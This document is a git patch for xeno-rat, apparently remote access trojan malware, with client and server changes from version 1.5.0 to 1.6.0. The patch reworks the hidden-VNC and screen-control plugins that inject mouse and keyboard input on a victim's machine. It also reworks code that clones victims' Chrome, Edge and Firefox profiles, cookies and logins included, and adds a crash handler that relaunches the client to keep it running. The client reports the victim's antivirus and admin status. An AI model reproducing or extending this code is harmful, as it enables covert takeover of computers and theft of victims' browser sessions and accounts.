From 0731e6ecbd69a7af6feb7874139a3e60728c1a0c Mon Sep 17 00:00:00 2001 From: moom825 Date: Thu, 14 Dec 2023 10:16:55 -0500 Subject: [PATCH] fixed scaling issue in screencontrol and hvnc. made the messagebox and chat auto foreground, fixed the command clobbering in the hvnc and screencontrol. fixed some issues with the profile cloning the hvnc. made a global error catcher in the client so if some weird error occurs that would crash the whole client, it will simply restart it self. fixed null exception bug in the client and server on disconnect. and some other things. --- Plugins/Chat/ChatForm.Designer.cs | 1 + Plugins/Chat/ChatForm.cs | 5 + Plugins/Fun/Fun.cs | 2 +- Plugins/Hvnc/Hvnc.cs | 18 ++- Plugins/Hvnc/Process Handler.cs | 43 +++-- Plugins/ScreenControl/ScreenControl.cs | 213 ++++++++++++------------- xeno rat client/Handler.cs | 2 +- xeno rat client/Node.cs | 14 +- xeno rat client/Program.cs | 9 ++ xeno rat server/Forms/Hvnc.cs | 25 ++- xeno rat server/Forms/ScreenControl.cs | 105 +++++------- xeno rat server/MainForm.cs | 2 +- xeno rat server/Node.cs | 13 +- 13 files changed, 233 insertions(+), 219 deletions(-) diff --git a/Plugins/Chat/ChatForm.Designer.cs b/Plugins/Chat/ChatForm.Designer.cs index 6f3b5eb..a532943 100644 --- a/Plugins/Chat/ChatForm.Designer.cs +++ b/Plugins/Chat/ChatForm.Designer.cs @@ -73,6 +73,7 @@ private void InitializeComponent() this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D; this.Name = "ChatForm"; this.Text = "ChatForm"; + this.Load += new System.EventHandler(this.ChatForm_Load); this.ResumeLayout(false); this.PerformLayout(); diff --git a/Plugins/Chat/ChatForm.cs b/Plugins/Chat/ChatForm.cs index a10e529..53b853d 100644 --- a/Plugins/Chat/ChatForm.cs +++ b/Plugins/Chat/ChatForm.cs @@ -101,5 +101,10 @@ private void textBox2_TextChanged(object sender, EventArgs e) { } + + private void ChatForm_Load(object sender, EventArgs e) + { + this.Activate(); + } } } diff --git a/Plugins/Fun/Fun.cs b/Plugins/Fun/Fun.cs index 3e1dc50..de3e79b 100644 --- a/Plugins/Fun/Fun.cs +++ b/Plugins/Fun/Fun.cs @@ -102,7 +102,7 @@ public void BlueScreen() public async Task ShowMessageBox(Node node) { string text = Encoding.UTF8.GetString(await node.ReceiveAsync()); - await Task.Run(()=>MessageBox.Show(text)); + await Task.Run(()=>MessageBox.Show(text, "Message",MessageBoxButtons.OK, MessageBoxIcon.None, MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000)); } public void OpenCDtray() { diff --git a/Plugins/Hvnc/Hvnc.cs b/Plugins/Hvnc/Hvnc.cs index aeea560..0f7420e 100644 --- a/Plugins/Hvnc/Hvnc.cs +++ b/Plugins/Hvnc/Hvnc.cs @@ -31,6 +31,11 @@ public class Main Imaging_handler ImageHandler; input_handler InputHandler; Process_Handler ProcessHandler; + + [DllImport("SHCore.dll", SetLastError = true)] + public static extern int SetProcessDpiAwareness(int awareness); + + public async Task Run(Node node) { await node.SendAsync(new byte[] { 3 });//indicate that it has connected @@ -39,6 +44,9 @@ public async Task Run(Node node) ImageNode?.Disconnect(); node.Disconnect(); } + + SetProcessDpiAwareness(2);//2 is being aware of the dpi per monitor + Thread thread = new Thread(async()=>await ScreenShotThread()); thread.Start(); try @@ -65,13 +73,13 @@ public async Task Run(Node node) } else if (data[0] == 2) { - quality = node.sock.BytesToInt(await node.ReceiveAsync()); + quality = node.sock.BytesToInt(data,1); } else if (data[0] == 3) { - uint msg = (uint)node.sock.BytesToInt(await node.ReceiveAsync()); - IntPtr wParam = (IntPtr)node.sock.BytesToInt(await node.ReceiveAsync()); - IntPtr lParam = (IntPtr)node.sock.BytesToInt(await node.ReceiveAsync()); + uint msg = (uint)node.sock.BytesToInt(data,1); + IntPtr wParam = (IntPtr)node.sock.BytesToInt(data, 5); + IntPtr lParam = (IntPtr)node.sock.BytesToInt(data, 9); new Thread(() => InputHandler.Input(msg, wParam, lParam)).Start(); } else if (data[0] == 4) @@ -80,7 +88,7 @@ public async Task Run(Node node) } else if (data[0] == 5) { - ProcessHandler.CreateProc(Encoding.UTF8.GetString(await node.ReceiveAsync())); + ProcessHandler.CreateProc(Encoding.UTF8.GetString(data,1,data.Length-1)); } else if (data[0] == 6) { diff --git a/Plugins/Hvnc/Process Handler.cs b/Plugins/Hvnc/Process Handler.cs index 1120170..68156e8 100644 --- a/Plugins/Hvnc/Process Handler.cs +++ b/Plugins/Hvnc/Process Handler.cs @@ -186,17 +186,24 @@ public bool StartFirefox() return CreateProc("\"" + path + "\"" + " -no-remote -profile " + dataDir); } - public async Task CloneChrome() + public async Task CloneChrome() { try { string dataDir = @"C:\ChromeAutomationData"; string source = $@"C:\Users\{Environment.UserName}\AppData\Local\Google\Chrome\User Data"; - await Task.Run(() => Directory.Delete(dataDir, true)); - Directory.CreateDirectory(dataDir); + if (Directory.Exists(dataDir)) + { + await Task.Run(() => Directory.Delete(dataDir, true)); + Directory.CreateDirectory(dataDir); + } + else + { + Directory.CreateDirectory(dataDir); + } await CopyDirAsync(source, dataDir); return true; - + } catch { } return false; @@ -208,14 +215,21 @@ public async Task CloneFirefox() { string profilesPath = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Mozilla\Firefox\Profiles"; string fileInDirectory = "addons.json"; - string source=RecursiveFileSearch(profilesPath, fileInDirectory); - if (source == null) + string source = RecursiveFileSearch(profilesPath, fileInDirectory); + if (source == null) { return false; } string dataDir = @"C:\FirefoxAutomationData"; - await Task.Run(() => Directory.Delete(dataDir, true)); - Directory.CreateDirectory(dataDir); + if (Directory.Exists(dataDir)) + { + await Task.Run(() => Directory.Delete(dataDir, true)); + Directory.CreateDirectory(dataDir); + } + else + { + Directory.CreateDirectory(dataDir); + } await CopyDirAsync(source, dataDir); return true; @@ -230,8 +244,15 @@ public async Task CloneEdge() { string dataDir = @"C:\EdgeAutomationData"; string source = $@"C:\Users\{Environment.UserName}\AppData\Local\Microsoft\Edge\User Data"; - await Task.Run(()=>Directory.Delete(dataDir, true)); - Directory.CreateDirectory(dataDir); + if (Directory.Exists(dataDir)) + { + await Task.Run(() => Directory.Delete(dataDir, true)); + Directory.CreateDirectory(dataDir); + } + else + { + Directory.CreateDirectory(dataDir); + } await CopyDirAsync(source, dataDir); return true; @@ -239,6 +260,7 @@ public async Task CloneEdge() catch { } return false; } + static string RecursiveFileSearch(string currentDirectory, string targetFileName) { string targetFilePath = Path.Combine(currentDirectory, targetFileName); @@ -256,7 +278,6 @@ static string RecursiveFileSearch(string currentDirectory, string targetFileName } return null; } - public async Task CopyDirAsync(string sourceDir, string destinationDir) { await CopyDirectoriesAsync(sourceDir, destinationDir); diff --git a/Plugins/ScreenControl/ScreenControl.cs b/Plugins/ScreenControl/ScreenControl.cs index 6225ba1..9acf859 100644 --- a/Plugins/ScreenControl/ScreenControl.cs +++ b/Plugins/ScreenControl/ScreenControl.cs @@ -21,6 +21,10 @@ public class Main int quality = 100; int moniter_index = -1; double scale = 1; + + [DllImport("SHCore.dll", SetLastError = true)] + public static extern int SetProcessDpiAwareness(int awareness); + public async Task Run(Node node) { await node.SendAsync(new byte[] { 3 });//indicate that it has connected @@ -29,6 +33,9 @@ public async Task Run(Node node) ImageNode?.Disconnect(); node.Disconnect(); } + + SetProcessDpiAwareness(2);//2 is being aware of the dpi per monitor + ScreenShotThread(); byte[] data=null; try @@ -41,108 +48,106 @@ public async Task Run(Node node) ImageNode?.Disconnect(); break; } - try + if (data[0] == 0) { - if (data[0] == 0) - { - playing = true; - } - else if (data[0] == 1) - { - playing = false; - } - else if (data[0] == 2) - { - string[] mons = ScreenshotTaker.AvailableMonitors(); - await node.SendAsync(node.sock.IntToBytes(mons.Length)); - foreach (string i in mons) - { - await node.SendAsync(Encoding.UTF8.GetBytes(i)); - } - } - else if (data[0] == 3) - { - quality = node.sock.BytesToInt(await node.ReceiveAsync()); - } - else if (data[0] == 4) - { - Screen[] screens = Screen.AllScreens; - moniter_index = node.sock.BytesToInt(await node.ReceiveAsync()); - await node.SendAsync(node.sock.IntToBytes(screens[moniter_index].Bounds.Width)); - await node.SendAsync(node.sock.IntToBytes(screens[moniter_index].Bounds.Height)); - } - else if (data[0] == 5) - { - int x = node.sock.BytesToInt(await node.ReceiveAsync()); - int y = node.sock.BytesToInt(await node.ReceiveAsync()); - Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y); - InputHandler.SimulateMouseClick(coords); - } - else if (data[0] == 6) + playing = true; + } + else if (data[0] == 1) + { + playing = false; + } + else if (data[0] == 2) + { + string[] mons = ScreenshotTaker.AvailableMonitors(); + string monsString = ""; + foreach (string i in mons) { - int x = node.sock.BytesToInt(await node.ReceiveAsync()); - int y = node.sock.BytesToInt(await node.ReceiveAsync()); - Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y); - InputHandler.SimulateMouseDoubleClick(coords); + monsString += i.Replace("\n", "-") + "\n"; } - else if (data[0] == 7) + if (monsString != "") { - int x = node.sock.BytesToInt(await node.ReceiveAsync()); - int y = node.sock.BytesToInt(await node.ReceiveAsync()); - Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y); - InputHandler.SimulateMouseUp(coords); + monsString = monsString.Substring(0, monsString.Length - 1);//remove the ending newline } - else if (data[0] == 8) - { - int x = node.sock.BytesToInt(await node.ReceiveAsync()); - int y = node.sock.BytesToInt(await node.ReceiveAsync()); - Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y); - InputHandler.SimulateMouseDown(coords); + await node.SendAsync(Encoding.UTF8.GetBytes(monsString)); + } + else if (data[0] == 3) + { + quality = node.sock.BytesToInt(data,1); + } + else if (data[0] == 4) + { + Screen[] screens = Screen.AllScreens; + moniter_index = node.sock.BytesToInt(data,1); + byte[] w = node.sock.IntToBytes(screens[moniter_index].Bounds.Width); + byte[] h = node.sock.IntToBytes(screens[moniter_index].Bounds.Height); + await node.SendAsync(SocketHandler.Concat(w,h)); + } + else if (data[0] == 5) + { + int x = node.sock.BytesToInt(data, 1); + int y = node.sock.BytesToInt(data, 5); + Point coords = new Point((int)((x + Screen.AllScreens[moniter_index].Bounds.X) / scale), (int)((y + Screen.AllScreens[moniter_index].Bounds.Y) / scale)); + InputHandler.SimulateMouseClick(coords); + } + else if (data[0] == 6) + { + int x = node.sock.BytesToInt(data, 1); + int y = node.sock.BytesToInt(data, 5); + Point coords = new Point((int)((x + Screen.AllScreens[moniter_index].Bounds.X) / scale), (int)((y + Screen.AllScreens[moniter_index].Bounds.Y) / scale)); + InputHandler.SimulateMouseDoubleClick(coords); + } + else if (data[0] == 7) + { + int x = node.sock.BytesToInt(data, 1); + int y = node.sock.BytesToInt(data, 5); + Point coords = new Point((int)((x + Screen.AllScreens[moniter_index].Bounds.X) / scale), (int)((y + Screen.AllScreens[moniter_index].Bounds.Y) / scale)); + InputHandler.SimulateMouseUp(coords); + } + else if (data[0] == 8) + { + int x = node.sock.BytesToInt(data, 1); + int y = node.sock.BytesToInt(data, 5); + Point coords = new Point((int)((x + Screen.AllScreens[moniter_index].Bounds.X) / scale), (int)((y + Screen.AllScreens[moniter_index].Bounds.Y) / scale)); + InputHandler.SimulateMouseDown(coords); - } - else if (data[0] == 9) - { - int x = node.sock.BytesToInt(await node.ReceiveAsync()); - int y = node.sock.BytesToInt(await node.ReceiveAsync()); - Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y); - InputHandler.SimulateMouseRightClick(coords); - } - else if (data[0] == 10) - { - int x = node.sock.BytesToInt(await node.ReceiveAsync()); - int y = node.sock.BytesToInt(await node.ReceiveAsync()); - Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y); - InputHandler.SimulateMouseMiddleClick(coords); - } - else if (data[0] == 11) - { - int x = node.sock.BytesToInt(await node.ReceiveAsync()); - int y = node.sock.BytesToInt(await node.ReceiveAsync()); - Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y); - InputHandler.SimulateMouseMove(coords); - } - else if (data[0] == 12) - { - int keyCode = node.sock.BytesToInt(await node.ReceiveAsync()); - InputHandler.SimulateKeyPress(keyCode); - } - else if (data[0] == 13) - { - scale=(double)node.sock.BytesToInt(await node.ReceiveAsync())/10000.0; - } } - catch (Exception ex) + else if (data[0] == 9) { - //throw ex; - if (ex.Message != "Index was outside the bounds of the array.") - { - throw ex; - } + int x = node.sock.BytesToInt(data, 1); + int y = node.sock.BytesToInt(data, 5); + Point coords = new Point((int)((x + Screen.AllScreens[moniter_index].Bounds.X) / scale), (int)((y + Screen.AllScreens[moniter_index].Bounds.Y) / scale)); + InputHandler.SimulateMouseRightClick(coords); + } + else if (data[0] == 10) + { + int x = node.sock.BytesToInt(data, 1); + int y = node.sock.BytesToInt(data, 5); + Point coords = new Point((int)((x + Screen.AllScreens[moniter_index].Bounds.X) / scale), (int)((y + Screen.AllScreens[moniter_index].Bounds.Y) / scale)); + InputHandler.SimulateMouseMiddleClick(coords); + } + else if (data[0] == 11) + { + int x = node.sock.BytesToInt(data,1); + int y = node.sock.BytesToInt(data,5); + Point coords = new Point((int)((x + Screen.AllScreens[moniter_index].Bounds.X) / scale), (int)((y + Screen.AllScreens[moniter_index].Bounds.Y) / scale)); + + InputHandler.SimulateMouseMove(coords); + + } + else if (data[0] == 12) + { + int keyCode = node.sock.BytesToInt(data,1); + InputHandler.SimulateKeyPress(keyCode); + } + else if (data[0] == 13) + { + scale = (double)node.sock.BytesToInt(data,1)/10000.0; } } } catch { + ImageNode?.Disconnect(); } GC.Collect(); } @@ -343,13 +348,11 @@ public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCu } Screen selectedScreen = screens[screenIndex]; - float scalingFactor = 1;//GetScalingFactor(); - - int screenLeft = (int)(selectedScreen.Bounds.Left * scalingFactor); - int screenTop = (int)(selectedScreen.Bounds.Top * scalingFactor); - int screenWidth = (int)(selectedScreen.Bounds.Width * scalingFactor); - int screenHeight = (int)(selectedScreen.Bounds.Height * scalingFactor); + int screenLeft = (int)(selectedScreen.Bounds.Left); + int screenTop = (int)(selectedScreen.Bounds.Top); + int screenWidth = (int)(selectedScreen.Bounds.Width); + int screenHeight = (int)(selectedScreen.Bounds.Height); Bitmap bitmap = new Bitmap(screenWidth, screenHeight, PixelFormat.Format24bppRgb); using (Graphics graphics = Graphics.FromImage(bitmap)) { @@ -388,26 +391,6 @@ public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCu } } } - private static float GetScalingFactor() - { - using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero)) - { - IntPtr desktop = graphics.GetHdc(); - int logicalScreenHeight = GetDeviceCaps(desktop, (int)DeviceCap.VERTRES); - int physicalScreenHeight = GetDeviceCaps(desktop, (int)DeviceCap.DESKTOPVERTRES); - float scalingFactor = (float)physicalScreenHeight / logicalScreenHeight; - return scalingFactor; - } - } - - [DllImport("gdi32.dll")] - private static extern int GetDeviceCaps(IntPtr hdc, int nIndex); - - private enum DeviceCap - { - VERTRES = 10, - DESKTOPVERTRES = 117 - } private static ImageCodecInfo GetEncoderInfo(ImageFormat format) { ImageCodecInfo[] codecs = ImageCodecInfo.GetImageEncoders(); diff --git a/xeno rat client/Handler.cs b/xeno rat client/Handler.cs index b35d9fd..d4781f4 100644 --- a/xeno rat client/Handler.cs +++ b/xeno rat client/Handler.cs @@ -57,7 +57,7 @@ private async Task GetAndSendInfo(Node Type0) return; } //get hwid, username etc. seperated by null - string clientversion = "1.5.0";//find a way to get the client version. + string clientversion = "1.6.0";//find a way to get the client version. string[] info = new string[] { Utils.HWID(), Environment.UserName , clientversion, Utils.GetWindowsVersion(), Utils.GetAntivirus(), Utils.IsAdmin().ToString() }; byte[] data = new byte[0]; byte[] nullbyte = new byte[] { 0 }; diff --git a/xeno rat client/Node.cs b/xeno rat client/Node.cs index 28fe69a..33b161e 100644 --- a/xeno rat client/Node.cs +++ b/xeno rat client/Node.cs @@ -29,17 +29,20 @@ public void AddSubNode(Node subNode) { subNodes.Add(subNode); } - public async void Disconnect() + public async void Disconnect() { try { - await Task.Factory.FromAsync(sock.sock.BeginDisconnect, sock.sock.EndDisconnect, true, null); + if (sock.sock != null) + { + await Task.Factory.FromAsync(sock.sock.BeginDisconnect, sock.sock.EndDisconnect, true, null); + } } catch { - sock.sock.Close(0); + sock.sock?.Close(0); } - sock.sock.Dispose(); + sock.sock?.Dispose(); List copy = subNodes.ToList(); subNodes.Clear(); foreach (Node i in copy) @@ -47,12 +50,13 @@ public async void Disconnect() i.Disconnect(); } copy.Clear(); - if (OnDisconnect != null) + if (OnDisconnect != null) { OnDisconnect(this); } } + public async Task ConnectSubSockAsync(int type, int retid, Action OnDisconnect = null) { try diff --git a/xeno rat client/Program.cs b/xeno rat client/Program.cs index 9f1f5e8..6e32191 100644 --- a/xeno rat client/Program.cs +++ b/xeno rat client/Program.cs @@ -26,6 +26,7 @@ class Program private static string startup_name = "nothingset"; static async Task Main(string[] args) { + AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; bool createdNew; if (Utils.IsAdmin()) { @@ -99,5 +100,13 @@ public static void OnDisconnect(Node MainNode) { Console.WriteLine(MainNode.Connected()); } + + static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) + { + Exception exception = e.ExceptionObject as Exception; + Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location); + Process.GetCurrentProcess().Kill(); + } + } } diff --git a/xeno rat server/Forms/Hvnc.cs b/xeno rat server/Forms/Hvnc.cs index 55c8e5a..af2dd87 100644 --- a/xeno rat server/Forms/Hvnc.cs +++ b/xeno rat server/Forms/Hvnc.cs @@ -63,9 +63,8 @@ public async Task stop() await client.SendAsync(new byte[] { 1 }); } public async Task SetQuality(int quality) - { - await client.SendAsync(new byte[] { 2 }); - await client.SendAsync(client.sock.IntToBytes(quality)); + { + await client.SendAsync(client.sock.Concat(new byte[] { 2 }, client.sock.IntToBytes(quality))); } public void TempOnDisconnect(Node node) { @@ -120,8 +119,8 @@ public async Task RecvThread() private async Task StartProc(string path) { if (!playing) return; + await client.SendAsync(client.sock.Concat(new byte[] { 5 }, Encoding.UTF8.GetBytes(path))); await client.SendAsync(new byte[] { 5 }); - await client.SendAsync(Encoding.UTF8.GetBytes(path)); } private async Task EnableBrowserClone() @@ -454,6 +453,7 @@ protected override void WndProc(ref Message m) base.WndProc(ref m); return; } + byte[] payload; switch (m.Msg) { case 0x0201: // WM_LBUTTONDOWN @@ -483,10 +483,10 @@ protected override void WndProc(ref Message m) int IlParam = (int)lParam; Task.Run(async () => { - await client.SendAsync(new byte[] { 3 }); - await client.SendAsync(client.sock.IntToBytes(Imsg)); - await client.SendAsync(client.sock.IntToBytes(IwParam)); - await client.SendAsync(client.sock.IntToBytes(IlParam)); + payload = client.sock.Concat(new byte[] { 3 }, client.sock.IntToBytes(Imsg)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(IwParam)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(IlParam)); + await client.SendAsync(payload); }).Wait(); break; @@ -532,7 +532,6 @@ protected override void WndProc(ref Message m) { msg = 0x0102; } - } } Imsg = (int)msg; @@ -540,10 +539,10 @@ protected override void WndProc(ref Message m) IlParam = (int)lParam; Task.Run(async () => { - await client.SendAsync(new byte[] { 3 }); - await client.SendAsync(client.sock.IntToBytes(Imsg)); - await client.SendAsync(client.sock.IntToBytes(IwParam)); - await client.SendAsync(client.sock.IntToBytes(IlParam)); + payload = client.sock.Concat(new byte[] { 3 }, client.sock.IntToBytes(Imsg)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(IwParam)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(IlParam)); + await client.SendAsync(payload); }).Wait(); break; } diff --git a/xeno rat server/Forms/ScreenControl.cs b/xeno rat server/Forms/ScreenControl.cs index 3191b3b..60f6bd8 100644 --- a/xeno rat server/Forms/ScreenControl.cs +++ b/xeno rat server/Forms/ScreenControl.cs @@ -10,7 +10,6 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -using static System.Net.Mime.MediaTypeNames; namespace xeno_rat_server.Forms { @@ -19,8 +18,8 @@ public partial class ScreenControl : Form Node client; Node ImageNode; bool playing = false; - bool operation_pass = true; int monitor_index = 0; + double scaling_factor = 1; Size? current_mon_size = null; string[] qualitys = new string[] { "100%","90%", "80%", "70%", "60%", "50%", "40%", "30%", "20%", "10%" }; public ScreenControl(Node _client) @@ -82,27 +81,22 @@ public async Task stop() public async Task GetMonitors() { await client.SendAsync(new byte[] { 2 }); - int length = client.sock.BytesToInt(await client.ReceiveAsync()); - string[] monitors = new string[length]; - for (int i = 0; i < length; i++) - { - monitors[i] = Encoding.UTF8.GetString(await client.ReceiveAsync()); - } - return monitors; + string monsString=Encoding.UTF8.GetString(await client.ReceiveAsync()); + string[] mons = monsString.Split('\n'); + return mons; } public async Task SetQuality(int quality) { - await client.SendAsync(new byte[] { 3 }); - await client.SendAsync(client.sock.IntToBytes(quality)); + await client.SendAsync(client.sock.Concat(new byte[] { 3 }, client.sock.IntToBytes(quality))); } public async Task SetMonitor(int monitorIndex) { monitor_index = monitorIndex; - await client.SendAsync(new byte[] { 4 }); - await client.SendAsync(client.sock.IntToBytes(monitorIndex)); - int Width = client.sock.BytesToInt(await client.ReceiveAsync()); - int Height = client.sock.BytesToInt(await client.ReceiveAsync()); + await client.SendAsync(client.sock.Concat(new byte[] { 4 }, client.sock.IntToBytes(monitorIndex))); + byte[] hwData = await client.ReceiveAsync(); + int Width = client.sock.BytesToInt(hwData); + int Height = client.sock.BytesToInt(hwData,4); current_mon_size = new Size(Width, Height); UpdateScaleSize(); } @@ -111,16 +105,15 @@ public async Task UpdateScaleSize() { if (pictureBox1.Width > ((Size)current_mon_size).Width || pictureBox1.Height > ((Size)current_mon_size).Height) { - await client.SendAsync(new byte[] { 13 }); - await client.SendAsync(client.sock.IntToBytes(100)); + await client.SendAsync(client.sock.Concat(new byte[] { 13 }, client.sock.IntToBytes(10000))); } else { double widthRatio = (double)pictureBox1.Width/ (double)((Size)current_mon_size).Width ; double heightRatio = (double)pictureBox1.Height / (double)((Size)current_mon_size).Height; - int factor = (int)(Math.Max(widthRatio, heightRatio)*10000.0); - await client.SendAsync(new byte[] { 13 }); - await client.SendAsync(client.sock.IntToBytes(factor)); + scaling_factor = Math.Max(widthRatio, heightRatio); + int factor = (int)(scaling_factor * 10000.0); + await client.SendAsync(client.sock.Concat(new byte[] { 13 }, client.sock.IntToBytes(factor))); } } @@ -192,8 +185,8 @@ public Point TranslateCoordinates(Point originalCoords, Size originalScreenSize, float scaleY = (float)targetControl.Image.Height / originalScreenSize.Height; // Apply the scaling factors - int scaledX = (int)(originalCoords.X * scaleX); - int scaledY = (int)(originalCoords.Y * scaleY); + int scaledX = (int)(originalCoords.X * scaleX/ scaling_factor); + int scaledY = (int)(originalCoords.Y * scaleY/ scaling_factor); // Get the unzoomed and offset-adjusted coordinates Point translatedCoords = UnzoomedAndAdjusted(targetControl, new Point(scaledX, scaledY)); @@ -306,77 +299,66 @@ private async void comboBox2_SelectedIndexChanged(object sender, EventArgs e) private async void pictureBox1_MouseClick(object sender, MouseEventArgs e) { - if (pictureBox1.Image == null || !playing || !operation_pass || !checkBox1.Checked) return; - operation_pass = false; + if (pictureBox1.Image == null || !playing || !checkBox1.Checked) return; + //operation_pass = false Point coords = TranslateCoordinates(new Point(e.X, e.Y), (Size)current_mon_size, pictureBox1); + byte opcode = 5; if (e.Button == MouseButtons.Right) { - await client.SendAsync(new byte[] { 9 }); + opcode = 9; } else if (e.Button == MouseButtons.Middle) { - await client.SendAsync(new byte[] { 10 }); - } - else - { - await client.SendAsync(new byte[] { 5 }); + opcode = 10; } - await client.SendAsync(client.sock.IntToBytes(coords.X)); - await client.SendAsync(client.sock.IntToBytes(coords.Y)); - operation_pass = true; + byte[] payload = client.sock.Concat(new byte[] { opcode }, client.sock.IntToBytes(coords.X)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(coords.Y)); + await client.SendAsync(payload); } private async void pictureBox1_MouseDoubleClick(object sender, MouseEventArgs e) { - if (current_mon_size==null|| pictureBox1.Image == null || !playing || e.Button == MouseButtons.Right || e.Button==MouseButtons.Middle || !operation_pass || !checkBox1.Checked) return; - operation_pass = false; + if (current_mon_size==null|| pictureBox1.Image == null || !playing || e.Button == MouseButtons.Right || e.Button==MouseButtons.Middle || !checkBox1.Checked) return; Point coords = TranslateCoordinates(new Point(e.X, e.Y), (Size)current_mon_size, pictureBox1); - await client.SendAsync(new byte[] { 6 }); - await client.SendAsync(client.sock.IntToBytes(coords.X)); - await client.SendAsync(client.sock.IntToBytes(coords.Y)); - operation_pass = true; + byte[] payload = client.sock.Concat(new byte[] { 6 }, client.sock.IntToBytes(coords.X)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(coords.Y)); + await client.SendAsync(payload); } private async void pictureBox1_MouseUp(object sender, MouseEventArgs e) { //return; - if (current_mon_size == null || pictureBox1.Image == null || !playing || e.Button==MouseButtons.Right || e.Button == MouseButtons.Middle || !operation_pass || !checkBox1.Checked) return; - operation_pass = false; + if (current_mon_size == null || pictureBox1.Image == null || !playing || e.Button==MouseButtons.Right || e.Button == MouseButtons.Middle || !checkBox1.Checked) return; Point coords = TranslateCoordinates(new Point(e.X, e.Y), (Size)current_mon_size, pictureBox1); - await client.SendAsync(new byte[] { 7 }); - await client.SendAsync(client.sock.IntToBytes(coords.X)); - await client.SendAsync(client.sock.IntToBytes(coords.Y)); - operation_pass = true; + byte[] payload = client.sock.Concat(new byte[] { 7 }, client.sock.IntToBytes(coords.X)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(coords.Y)); + await client.SendAsync(payload); } private async void pictureBox1_MouseMove(object sender, MouseEventArgs e) { - if (current_mon_size == null || pictureBox1.Image == null || !playing || !operation_pass || !checkBox1.Checked) return; + if (current_mon_size == null || pictureBox1.Image == null || !playing || !checkBox1.Checked) return; //return; - operation_pass = false; Point coords = TranslateCoordinates(new Point(e.X, e.Y), (Size)current_mon_size, pictureBox1); - await client.SendAsync(new byte[] { 11 }); - await client.SendAsync(client.sock.IntToBytes(coords.X)); - await client.SendAsync(client.sock.IntToBytes(coords.Y)); - operation_pass = true; + byte[] payload = client.sock.Concat(new byte[] { 11 }, client.sock.IntToBytes(coords.X)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(coords.Y)); + await client.SendAsync(payload); } private async void pictureBox1_MouseDown(object sender, MouseEventArgs e) { //return; - if (current_mon_size == null || pictureBox1.Image == null || !playing || e.Button == MouseButtons.Right || e.Button == MouseButtons.Middle || !operation_pass || !checkBox1.Checked) return; - operation_pass = false; + if (current_mon_size == null || pictureBox1.Image == null || !playing || e.Button == MouseButtons.Right || e.Button == MouseButtons.Middle || !checkBox1.Checked) return; Point coords = TranslateCoordinates(new Point(e.X, e.Y), (Size)current_mon_size, pictureBox1); - await client.SendAsync(new byte[] { 8 }); - await client.SendAsync(client.sock.IntToBytes(coords.X)); - await client.SendAsync(client.sock.IntToBytes(coords.Y)); - operation_pass = true; + byte[] payload = client.sock.Concat(new byte[] { 8 }, client.sock.IntToBytes(coords.X)); + payload = client.sock.Concat(payload, client.sock.IntToBytes(coords.Y)); + await client.SendAsync(payload); } private void pictureBox1_PreviewKeyDown(object sender, PreviewKeyDownEventArgs e) { - if (current_mon_size == null || pictureBox1.Image == null || !playing || !operation_pass || !checkBox1.Checked) return; + if (current_mon_size == null || pictureBox1.Image == null || !playing || !checkBox1.Checked) return; } private void pictureBox1_Click(object sender, EventArgs e) @@ -396,11 +378,8 @@ private void ScreenControl_KeyDown(object sender, KeyEventArgs e) private async void ScreenControl_KeyUp(object sender, KeyEventArgs e) { - if (current_mon_size == null || pictureBox1.Image == null || !playing || !operation_pass || !checkBox1.Checked) return; - operation_pass = false; - await client.SendAsync(new byte[] { 12 }); - await client.SendAsync(client.sock.IntToBytes(e.KeyValue)); - operation_pass = true; + if (current_mon_size == null || pictureBox1.Image == null || !playing || !checkBox1.Checked) return; + await client.SendAsync(client.sock.Concat(new byte[] { 12 }, client.sock.IntToBytes(e.KeyValue))); } private void checkBox1_CheckedChanged(object sender, EventArgs e) diff --git a/xeno rat server/MainForm.cs b/xeno rat server/MainForm.cs index bcfc560..c0f01cc 100644 --- a/xeno rat server/MainForm.cs +++ b/xeno rat server/MainForm.cs @@ -48,7 +48,7 @@ public MainForm() { InitializeComponent(); - this.Text = "Xeno-rat: Created by moom825 - version 1.5.0"; + this.Text = "Xeno-rat: Created by moom825 - version 1.6.0"; key = Utils.CalculateSha256Bytes(string_key); ListeningHandler =new Listener(OnConnect); diff --git a/xeno rat server/Node.cs b/xeno rat server/Node.cs index 31db330..bcfc29b 100644 --- a/xeno rat server/Node.cs +++ b/xeno rat server/Node.cs @@ -58,18 +58,23 @@ private async Task GetSocketType() int IntType = sock.BytesToInt(type); return IntType; } + + public async void Disconnect() { //sock.Disconnect(); try { - await Task.Factory.FromAsync(sock.sock.BeginDisconnect, sock.sock.EndDisconnect, true, null); + if (sock.sock != null) + { + await Task.Factory.FromAsync(sock.sock.BeginDisconnect, sock.sock.EndDisconnect, true, null); + } } - catch + catch { - sock.sock.Close(0); + sock.sock?.Close(0); } - sock.sock.Dispose(); + sock.sock?.Dispose(); if (SockType == 0) { foreach (Node i in subNodes.ToList())